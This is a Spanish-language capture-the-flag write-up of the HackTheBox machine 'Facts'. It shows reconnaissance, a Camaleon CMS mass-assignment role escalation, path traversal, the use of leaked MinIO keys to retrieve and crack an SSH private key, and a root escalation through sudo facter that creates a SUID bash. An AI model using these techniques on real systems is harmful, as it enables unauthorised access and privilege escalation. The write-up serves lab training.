This page looks best with JavaScript enabled

HackTheBox - Facts

En Factor explotamos dos vulnerabilidades en Camaleon CMS que permitieron escalar privilegios y lectura de archivos locales. Tambien, se obtuvo acceso a MinIO y a la clave privada de un usuario para SSH, permitiendo el acceso a la maquina. Finalmente escalamos privilegios con la ejecucion de un script privilegiado.

Nombre Facts
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2026-01-31
IP 10.129.17.99
Maker

LazyTitan33

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [117, 160, 302, 87, 43, 11, 8, 2, 1, 11],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), Golang-http (54321) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# Nmap 7.95 scan initiated Sat Jan 31 22:56:58 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,54321 -sV -sC -oN nmap_scan 10.129.17.99
Nmap scan report for 10.129.17.99
Host is up (0.067s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.17.99:9001
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18900689758BBD93
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 04:57:21 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>18900689758BBD93</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18900685C12CF014
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 04:57:05 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>18900685C12CF014</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sun, 01 Feb 2026 04:57:05 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.95%I=7%D=1/31%Time=697EDD20%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAc
SF:cept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20app
SF:lication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-a
SF:ge=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20
SF:dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-A
SF:mz-Request-Id:\x2018900685C12CF014\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sun,\x2001\x20Fe
SF:b\x202026\x2004:57:05\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encod
SF:ing=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x2
SF:0Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Req
SF:uestId>18900685C12CF014</RequestId><HostId>dd9025bab4ad464b049177c95eb6
SF:ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,5
SF:9,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sun,\x2001\x20
SF:Feb\x202026\x2004:57:05\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x2
SF:0400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x2
SF:0303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-
SF:Transport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\
SF:x20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af
SF:9251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x2018900689758BBD93\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\
SF:r\nDate:\x20Sun,\x2001\x20Feb\x202026\x2004:57:21\x20GMT\r\n\r\n<\?xml\
SF:x20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReque
SF:st</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Messag
SF:e><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>1890
SF:0689758BBD93</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3f
SF:d1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 31 22:57:29 2026 -- 1 IP address (1 host up) scanned in 30.84 seconds

Web Site

El sitio web nos redirige al dominio facts.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.129.17.99
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.26.3 (Ubuntu)
Date: Sun, 01 Feb 2026 04:59:22 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://facts.htb/

Se menciona que la pagina esta dedicada a trivia.

image

Existen distintos paginas donde se observan nombres de posibles usuarios.

image

Directory Brute Forcing

Ejecutamos feroxbuster filtrando respuests 404, este mostro nuevas paginas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
❯ feroxbuster -u http://facts.htb/ -w $CM -C 404
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://facts.htb/
 🚩  In-Scope Url          │ facts.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      124l      552w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET      121l      443w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      114l      532w     6685c http://facts.htb/400
200      GET      114l      371w     4836c http://facts.htb/404
200      GET      114l      574w     7918c http://facts.htb/500
302      GET        0l        0w        0c http://facts.htb/admin => http://facts.htb/admin/login
302      GET        0l        0w        0c http://facts.htb/admin.pl => http://facts.htb/admin/login
302      GET        0l        0w        0c http://facts.htb/admin.cgi => http://facts.htb/admin/login
302      GET        0l        0w        0c http://facts.htb/admin.php => http://facts.htb/admin/login
200      GET        0l        0w        0c http://facts.htb/ajax
200      GET       19l      124w     9799c http://facts.htb/captcha
500      GET      114l      574w     7918c http://facts.htb/error
200      GET       66l      519w    44082c http://facts.htb/randomfacts/primary-question-mark.png
404      GET        2l        9w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c http://facts.htb/randomfacts/
200      GET      281l     1177w    19593c http://facts.htb/page
200      GET      151l      507w    11308c http://facts.htb/post
200      GET        1l       12w       99c http://facts.htb/robots.txt
200      GET        1l        2w       33c http://facts.htb/robots
200      GET        8l       11w      183c http://facts.htb/rss
200      GET       69l      448w    30396c http://facts.htb/randomfacts/logopage2.png
200      GET      271l     1166w    19187c http://facts.htb/search
200      GET      129l      132w     3508c http://facts.htb/sitemap
200      GET      129l      132w     3508c http://facts.htb/sitemap.xml
500      GET      114l      574w     7918c http://facts.htb/sitemap.gz
200      GET        1l        4w       73c http://facts.htb/up

Camaleon CMS

Un login para usuarios donde es posible la creacion de cuentas de usuarios.

image
image

Ademas, en los headers de la respuesta se indica camaleon_cms.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Date: Sun, 01 Feb 2026 05:15:39 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
link: </assets/camaleon_cms/admin/admin-basic-manifest-4a345527ab92050e4ecb0f7d9d30c6090c451165b9ffaf00266b2aa5231cda7f.css>; rel=preload; as=style; nopush,</assets/camaleon_cms/admin/admin-basic-manifest-3896669961ec58669ff8c38eff8ddbde23935fca25fed539252f7705c2b073d1.js>; rel=preload; as=script; nopush
etag: W/"241dcfb2139a8d6436fc8fd3dc9fde35"
cache-control: max-age=0, private, must-revalidate
set-cookie: _factsapp_session=dnPILYaLhxbi5UVZAn3m1Gj30WQ7U2sEGzEk9qYr1Uwv2cU8DirGBpXe8w1pkIQNJx%2BtrITJyIf38AUy067hFPAMnkzHuyciBP0HY9flH2ABXc5csi8jRDCNWYpJOod%2F6zO4tPlcovoesQr%2B0OrEtiiD7pnCDGEelwqDPfKtKLNWObB6P%2FLw84%2BF6837P2GhXciTa7%2Frj4ZIT9SBRfPtyi5f4EIIjzeCpLC9uOb%2FdHaiJ4rlYpS%2FTXmBJEMTSkX6LhBJjF7ksWdquSx5u4FUYAhnqpdHm368NW%2BT%2BrjJ6U0vdVOQAdEoFuBJHvYqNkjW%2BxSOuvS7bUJa9vvvoUSEsGssS%2BHw4EzU5HzoeGVCVOcdaIsiHe%2FBP2Y%3D--Q19qs%2Fysx8NKIhUA--ZC35qa6aAv9qLyUnNqjUVg%3D%3D; path=/; httponly; samesite=lax
x-request-id: f1c61d90-21c8-45ca-b05b-dd2d2d20ba7a
x-runtime: 0.078869
Content-Length: 3896

<!DOCTYPE html>
<html lang="en" class="body-full-height">
<head>
# [... cut ..]

Tras el registro de un usuario identificamos la version 2.9.0.

image

Puerto 54321

En el puerto 54321 se indica Servidor MinIO. Tras realizar una solicitud muestra acceso denegado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ curl -sI 10.129.17.99:54321
HTTP/1.1 400 Bad Request
Accept-Ranges: bytes
Content-Length: 213
Content-Type: application/xml
Server: MinIO
Vary: Origin
Date: Sun, 01 Feb 2026 05:25:43 GMT

❯ curl 10.129.17.99:54321
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Resource>/</Resource><RequestId>1890082748774CF9</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>

Segun la documentacion, se indica que necesita credenciales para administrar el bucket. Si se agrega el dominio, este muestra una redireccion al puerto 9001, el cual no esta expuesto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
HTTP/1.1 307 Temporary Redirect
Content-Type: text/html; charset=utf-8
Location: http://facts.htb:9001
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 1890080CBF6AD8B4
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Date: Sun, 01 Feb 2026 05:25:04 GMT
Content-Length: 57

<a href="http://facts.htb:9001">Temporary Redirect</a>.

Camaleon CMS - Privesc

La version de camaleon cms es afectada por la vulnerabilidad Privilege Escalation through a Mass Assignment. En Ruby, existe permit! el cual acepta un array completo sin siquiera verificar los datos, esto permitiria agregar otros parametros. En este caso, cuando la contrasena se cambia, esta es enviada en forma de un array.

1
2
3
4
5
6
7
8
def updated_ajax
    @user = current_site.users.find(params[:user_id])
    update_session = current_user_is?(@user)
    @user.update(params.require(:password).permit!)       # VULNERABLE
    render inline: @user.errors.full_messages.join(', ')
    # keep user logged in when changing their own password
    update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Si intentamos cambiar la contrasena a nuestro usuario podemos observar el envio de un array.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://facts.htb/admin/profile/edit
X-CSRF-Token: AzijLgbTlI2uqPtTcpIvbH36ZEeOAzcmQhqaxNELE7xwSZUnVldSQTwTaDzN1vlpiMeF4W0EZbvgHbLyM472qQ
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 200
Origin: http://facts.htb
Connection: keep-alive
Cookie: _factsapp_session=xAAGLpkuIR315czed7PtbOoSKB7nR8WslO9ZCq5HnqDSBUYNernJSimv0fnLG%2BDZ%2F5XCUxlSxUU8q5N4D%2FRvi19i3bguc13YqtFID0pEcDn7Fkx5Y0UvQiwjX9Qy6YuWzhuwnE8AtdAk9onBAR3%2F4nbB5UBylRLEywwINtlTvyW9%2ByEn38dy%2BMoqhKuG0VCbeAFV0fNzXQJRX3Rka%2FOq3FvohxV3csBsG8jDmuiI2gKDkrsucpGptnDuSZ%2FMmuQBRstsdi%2B13brb3m1EZzwax%2F6PDVb6Xnws1OEVvEHAiR13JFCKNwrk%2BiINojG6ylRbbQGl80LMZ9lfopVSTlYaaIY4k7ym%2Bs0x4n8OYmIqeABrIfsLWY4CtdN6xzj3KJkw7w0OrLulidYTb0hp6A%3D%3D--vJEeMngF60oOAPKx--iSr8YvwyXmloLiklNKAKqQ%3D%3D; auth_token=eQ5hBZ8DH1rHYMT2_nHoEA&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.15.154
Priority: u=0

_method=patch&authenticity_token=AzijLgbTlI2uqPtTcpIvbH36ZEeOAzcmQhqaxNELE7xwSZUnVldSQTwTaDzN1vlpiMeF4W0EZbvgHbLyM472qQ&password%5Bpassword%5D=1234567890&password%5Bpassword_confirmation%5D=1234567890

El array es password.

1
password[password]=1234567890&password[password_confirmation]=1234567890

En el registro se observa la definicion de roles para el usuario que por default es client. Para un usuario administrador el rol es admin.

Admin

Realizamos el cambio de contrasena agregando el rol admin a nuestro usuario. Interceptamos la solicitud, editamos y enviamos.

1
password[password]=sckull123&password[password_confirmation]=sckull123&password[role]=admin

Tras el cambio, se muestra que nuestro rol es administrador.

image

En la configuracion se define un servicio de almacenamiento, indicando el puerto 54321 donde MinIO esta corriendo.

image

Path Traversal

Tambien encontramos que existe la vulnerabilidad Arbitrary path traversal que afecta a esta version la cual permite la lectura de archivos. En este caso /etc/passwd donde encontramos que existen los usuarios trivia y wiliam.

image

MinIO

Con el cliente de MinIO: mc, podemos definir las “credenciales” encontradas para el bucket randomfacts.

1
2
3
❯ ./mc alias set randomfacts http://facts.htb:54321 AKIA956E61DAC1233FA8 cVaZKEQrFDgW6NmwZIiYYEl4vwzhuynSg9siYEEr
Added `randomfacts` successfully.

admin info devuelve informacion del servicio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ ./mc admin info randomfacts
╭───────────────────────────╮                                                                                                  
│  MinIO Cluster: ● Online  │                                                                                                  
╰───────────────────────────╯                                                                                                  
                                                                                                                               
Capacity                                                                                                                       
╭───────────────────────────────────────────────────────────────────────────────╮                                              
│  Used:  5.4 GiB / 7.2 GiB  [██████████████████████████████░░░░░░░░░░]  74.4%  │                                              
│  Free:  1.8 GiB                                                               │                                              
╰───────────────────────────────────────────────────────────────────────────────╯                                              
                                                                                                                               
Servers                                                                                                                        
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────╮                    
│  ●  facts.htb:54321  │  Uptime: 2 hours   │  Drives: 1/1  │  Pool: 1  │  Version: 2025-09-07T16:13:09Z  │                    
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────╯                    
                                                                                                                               
Pools                                                                                                                          
╭─────────────────────────────────────────────────────╮                                                                        
│  Pool  │  Usage            │  Stripe Size  │  Sets  │                                                                        
│  1st   │  74.4% (7.2 GiB)11╰─────────────────────────────────────────────────────╯                                                                        
                                                                                                                               
Data Summary                                                                                                                   
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│  Used: 36 MiB  │  Buckets: 2  │  Objects: 2,077  │  Delete Markers: 0  │  Drives: 1 online / 0 offline  │  Erasure Code: 0╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
                                                                                                                               

ls nos permite listar los archivos dentro del bucket.

1
2
3
4
❯ ./mc ls randomfacts/
[2025-09-11 06:06:52 CST]     0B internal/
[2025-09-11 06:06:52 CST]     0B randomfacts/

tree muestra la lista de directorios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ ./mc tree randomfacts
randomfacts
├─ internal
│  ├─ .bundle
│  │  └─ cache
│  │     └─ compact_index
│  │        └─ rubygems.org.443.29b0360b937aa4d161703e6160654e47
│  │           ├─ info-etags
│  │           ├─ info-special-characters
│  │           └─ info
│  ├─ .cache
│  └─ .ssh
└─ randomfacts
   └─ thumb

Encontramos una clave privada y el archivo authorized_keys.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ ./mc ls randomfacts/internal
[2026-01-08 12:45:13 CST]   220B STANDARD .bash_logout
[2026-01-08 12:45:13 CST] 3.8KiB STANDARD .bashrc
[2026-01-08 12:47:17 CST]    20B STANDARD .lesshst
[2026-01-08 12:47:17 CST]   807B STANDARD .profile
[2026-02-01 00:36:27 CST]     0B .bundle/
[2026-02-01 00:36:27 CST]     0B .cache/
[2026-02-01 00:36:27 CST]     0B .ssh/
❯ ./mc ls randomfacts/internal/.ssh
[2026-01-31 21:40:29 CST]    82B STANDARD authorized_keys
[2026-01-31 21:40:29 CST]   464B STANDARD id_ed25519
❯ ./mc cat randomfacts/internal/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCbydJFSr
iLHvxfHSUmPz85AAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIPoYuLqG9SDYfx1n
YLxkUGDcxAFRa9rFdyvFg3wEuD7pAAAAoBCJGRdc3UohfJqfPIgxxVL1UPwrBO4n6V5mvn
Wa74u0m6NjfbZJxYqOpft5uNTsak/i66vaUEKJr/booY6UVma4bpiHlfs4k4q22URUSMY7
LGSkfpcxFrOUACmizvctlmS3sveanf1OeDwI0vxdAyCb0bX/VC+1EH46rRSurXFxHfq3lv
OHlGB9cMGsl9Dfd0xyzMNCIqce8Cngw45Cdzo=
-----END OPENSSH PRIVATE KEY-----
❯ ./mc cat randomfacts/internal/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPoYuLqG9SDYfx1nYLxkUGDcxAFRa9rFdyvFg3wEuD7p 

La clave privada esta protegida.

1
2
3
4
5
6
❯ chmod 600 id_ed25519
❯ ssh trivia@facts.htb -i id_ed25519
Enter passphrase for key 'id_ed25519': 
trivia@facts.htb's password: 

Crack The Hash

Obtuvimos el hash mediante ssh2john y crackeamos este con john.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ ssh2john id_ed25519
id_ed25519:$sshng$6$16$9bc9d2454ab88b1efc5f1d25263f3f39$290$6f70656e7373682d6b65792d7631000000000a6165733235362d6374720000000662637279707400000018000000109bc9d2454ab88b1efc5f1d25263f3f390000001800000001000000330000000b7373682d6564323535313900000020fa18b8ba86f520d87f1d6760bc645060dcc401516bdac5772bc5837c04b83ee9000000a0108919175cdd4a217c9a9f3c8831c552f550fc2b04ee27e95e66be759aef8bb49ba3637db649c58a8ea5fb79b8d4ec6a4fe2ebabda504289aff6e8a18e945666b86e988795fb38938ab6d9445448c63b2c64a47e973116b3940029a2cef72d9664b7b2f79a9dfd4e783c08d2fc5d03209bd1b5ff542fb5107e3aad14aead71711dfab796f38794607d70c1ac97d0df774c72ccc34222a71ef029e0c38e42773a$24$130
❯ ssh2john id_ed25519 > hash
❯ john hash --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz      (id_ed25519)     
1g 0:00:01:40 DONE (2026-02-01 01:22) 0.009940g/s 31.80p/s 31.80c/s 31.80C/s grecia..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

User - Trivia

Utilizamos la frase para la clave privada con el usuario trivia por SSH logrando obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ ssh trivia@facts.htb -i id_ed25519
Enter passphrase for key 'id_ed25519': 
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  1 07:25:12 AM UTC 2026

  System load:           0.0
  Usage of /:            73.5% of 7.28GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             221
  Users logged in:       1
  IPv4 address for eth0: 10.129.17.99
  IPv6 address for eth0: dead:beef::250:56ff:feb0:ced


0 updates can be applied immediately.

trivia@facts:~$ whoami;id;pwd
trivia
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
/home/trivia
trivia@facts:~$

Privesc

El usuario puede ejecutar como root el script de ruby facter.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
trivia@facts:~$ sudo -l -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:

Sudoers entry: /etc/sudoers
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
	/usr/bin/facter
trivia@facts:~$ file /usr/bin/facter
/usr/bin/facter: Ruby script, ASCII text executable
trivia@facts:~$ cat /usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true

require 'pathname'
require 'facter/framework/cli/cli_launcher'

Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)

CliLauncher.start(processed_arguments)
trivia@facts:~$

La ejecucion nos muestra informacion del sistema.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
trivia@facts:~$ sudo facter
disks => {
  sda => {
    model => "Virtual disk",
    serial => "6000c2967e20ea19ef110cf6b958a20e",
    size => "10.00 GiB",
    size_bytes => 10737418240,
    type => "ssd",
    vendor => "VMware",
    wwn => "0x6000c2967e20ea19ef110cf6b958a20e"
  }
}
dmi => {
  bios => {
    release_date => "11/12/2020",
    vendor => "Phoenix Technologies LTD",
    version => "6.00"
  },
  board => {
    manufacturer => "Intel Corporation",
    product => "440BX Desktop Reference Platform",
    serial_number => "None"
  },
  chassis => {
    asset_tag => "No Asset Tag",
    type => "Other"
  },
  manufacturer => "VMware, Inc.",

# [ .. cut .. ]

system_uptime => {
  days => 0,
  hours => 3,
  seconds => 13719,
  uptime => "3:48 hours"
}
timezone => UTC
virtual => vmware
trivia@facts:~$ 

Especificamos la flag --custom-dir en el directorio actual donde creamos un “fact” o un archivo ruby con la ejecucion del comando whoami. Con dicha flag ejecutaria todos los archivos Ruby en el directorio.

Tras la ejecucion se muestra root como el usuario.

1
2
3
4
5
6
7
8
trivia@facts:~$ nano file.rb
trivia@facts:~$ cat file.rb 
system("whoami")
trivia@facts:~$ sudo facter --custom-dir=$(pwd) 
root
disks => {
  sda => {
# [ .. cut .. ]

Shell

Asignamos la creacion de una copia de bash con permisos SUID.

1
2
3
4
5
6
7
8
trivia@facts:~$ which bash
/usr/bin/bash
trivia@facts:~$ nano file.rb 
trivia@facts:~$ cat file.rb 
system("cp /usr/bin/bash /usr/bin/sc")
system("chmod u+s /usr/bin/sc")

trivia@facts:~$

La ejecucion creo la copia.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
trivia@facts:~$ sudo facter --custom-dir=$(pwd) | head
disks => {
  sda => {
    model => "Virtual disk",
    serial => "6000c2967e20ea19ef110cf6b958a20e",
    size => "10.00 GiB",
    size_bytes => 10737418240,
    type => "ssd",
    vendor => "VMware",
    wwn => "0x6000c2967e20ea19ef110cf6b958a20e"
  }
trivia@facts:~$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.7M Feb  1 07:43 /usr/bin/sc
trivia@facts:~$

Con ello logramos escalar privilegios, obtener las flags user.txt y root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
trivia@facts:~$ /usr/bin/sc -p
sc-5.2# whoami
root
sc-5.2# cd /root
sc-5.2# ls
minio-binaries	ministack  root.txt  snap
sc-5.2# cat root.txt
7ab46d7606afb1571fe684300a50c3c0
sc-5.2# cat /home/william/user.txt
407fc88c5e29ad88876774bb2e2d48ca
sc-5.2# 

